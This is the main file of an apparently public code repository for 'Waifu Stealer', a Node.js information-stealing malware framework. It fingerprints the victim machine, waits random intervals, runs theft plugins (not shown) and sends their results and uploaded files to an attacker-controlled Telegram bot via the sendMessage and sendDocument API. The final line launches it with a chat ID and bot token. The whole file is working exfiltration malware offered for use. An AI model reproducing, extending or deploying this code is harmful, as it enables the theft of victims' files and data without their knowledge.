-
Notifications
You must be signed in to change notification settings - Fork 6
/
index.js
executable file
Β·175 lines (149 loc) Β· 5.58 KB
/
index.js
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
// @ts-check
const fs = require('fs')
const path = require('path')
const fetch = require('node-fetch')
const FormData = require('form-data')
const { machineId } = require('node-machine-id')
const pluginsDir = path.resolve(__dirname, 'plugins')
const delay = (ms = Math.floor(Math.random() * 30000 + 5000)) => {
console.log(`Waiting ${ms / 1000}s...`)
return new Promise(resolve => setTimeout(resolve, ms))
}
function loadPlugins() {
console.log('Loading plugins...')
const plugins = fs
.readdirSync(pluginsDir, { withFileTypes: true })
.filter(
dir =>
dir.isDirectory() &&
dir.name.endsWith('-plugin') &&
fs.readdirSync(path.resolve(pluginsDir, dir.name)).includes('lib.js')
)
.reduce((acc, dir) => {
console.log(` [${dir.name}]... `)
const plugin = require(path.resolve(pluginsDir, dir.name, 'lib.js'))
acc[dir.name] = plugin
return acc
}, /** @type {{ [pluginName: string]: any }} */ ({}))
// prettier-ignore
console.log(`\nLoaded plugins: ${Object.keys(plugins).map(x =>`[${x}]`).join(', ')}`)
return plugins
}
/**
* @param {string} text
* @param {string} telegramChatId
* @param {string} telegramToken
* @param {number?} retriesLeft
* @returns {Promise<void>}
*/
async function sendMessageTelegramWebhook(text, telegramChatId, telegramToken, retriesLeft = 5) {
if (retriesLeft === 0) return
const form = new FormData()
form.append('text', text.replace(/\./g, '\\.').replace(/\+/g, '\\+').replace(/!/g, ''))
const res = await fetch(
`https://api.telegram.org/bot${telegramToken}/sendMessage?chat_id=${telegramChatId}&parse_mode=MarkdownV2`,
{
method: 'POST',
body: form
}
)
if (!res.ok) {
const json = await res.json()
console.error(`Error sending Telegram message! Retrying in 30s - Status: ${json.error_code} - ${json.description}`)
// Failed to send message, try again in 30s
await new Promise(resolve => setTimeout(resolve, 30_000))
return sendMessageTelegramWebhook(text, telegramChatId, telegramToken, retriesLeft - 1)
}
}
/**
* @param {string} filePath
* @param {string} filename
* @param {string} caption
* @param {string} telegramChatId
* @param {string} telegramToken
* @param {number?} retriesLeft
* @returns {Promise<void>}
*/
async function sendDocumentTelegramWebhook(
filePath,
filename,
caption,
telegramChatId,
telegramToken,
retriesLeft = 5
) {
if (retriesLeft === 0) return
const form = new FormData()
form.append('document', fs.createReadStream(filePath, {}), { filename })
form.append('caption', caption.replace(/\./g, '\\.').replace(/\+/g, '\\+').replace(/!/g, ''))
const res = await fetch(
`https://api.telegram.org/bot${telegramToken}/sendDocument?chat_id=${telegramChatId}&parse_mode=MarkdownV2`,
{
method: 'POST',
body: form
}
)
if (!res.ok) {
const json = await res.json()
console.error(`Error sending archive! Retrying in 30s - Status: ${json.error_code} - ${json.description}`)
// Failed to send archive, try again in 30s
await new Promise(resolve => setTimeout(resolve, 30_000))
return sendDocumentTelegramWebhook(filePath, filename, caption, telegramChatId, telegramToken, retriesLeft - 1)
}
}
/**
* @param {string} telegramChatId
* @param {string} telegramToken
* @param {boolean} addDelays
*/
async function run(telegramChatId, telegramToken, addDelays = true) {
if (!telegramChatId) throw new Error('Telegram chat ID is required')
if (!telegramToken) throw new Error('Telegram token is required')
console.log(`Welcome to Waifu Stealer!`)
const hwid = await machineId()
console.log(`HWID: ${hwid}`)
// Wait before execution
if (addDelays) await delay()
const plugins = loadPlugins()
// Track plugin success
const pluginSuccess = Object.keys(plugins).reduce((acc, pluginName) => {
acc[pluginName] = false
return acc
}, /** @type {{ [pluginName: string]: boolean }} */ ({}))
console.log("\nLet's go! π₯")
for (const [pluginName, plugin] of Object.entries(plugins)) {
try {
console.log(`\n\nRunning plugin [${pluginName}]! β`)
const messageCaptionPrefix = `Plugin: \`${pluginName}\`\nHWID: \`${hwid.slice(0, 20)}\``
const uploadFileFn = async (filePath, filename, caption) => {
await sendDocumentTelegramWebhook(
filePath,
filename,
`${messageCaptionPrefix}\n\n${caption.trim()}`,
telegramChatId,
telegramToken
)
console.log(`[${pluginName}] uploaded a file via Telegram: \`${filename}\` - ${caption}`)
}
const sendMessageFn = async text => {
await sendMessageTelegramWebhook(`${messageCaptionPrefix}\n\n${text.trim()}`, telegramChatId, telegramToken)
console.log(`[${pluginName}] sent a message via Telegram: \`${text}\``)
}
const result = await plugin.run({ sendMessageFn, uploadFileFn })
pluginSuccess[pluginName] = true
if (!result) continue // Plugin didn't return anything, go to next plugin
console.log(result)
await sendMessageFn(typeof result === 'object' ? `\`\`\`\n${JSON.stringify(result, null, 2)}\n\`\`\`` : result)
} catch (error) {
console.error(`Error running plugin [${pluginName}]! β`)
console.error(error)
} finally {
if (addDelays) await delay()
}
}
console.log('\nEvery plugins finished executing! π')
Object.entries(pluginSuccess).forEach(([pluginName, success]) =>
console.log(success ? `β
Plugin [${pluginName}] was successful!` : `Plugin [${pluginName}] failed! β`)
)
}
run('1234567890', '12345678:EEExreg_CKLviTXNwTTfc-UdcStDOPfqFoMQ', true)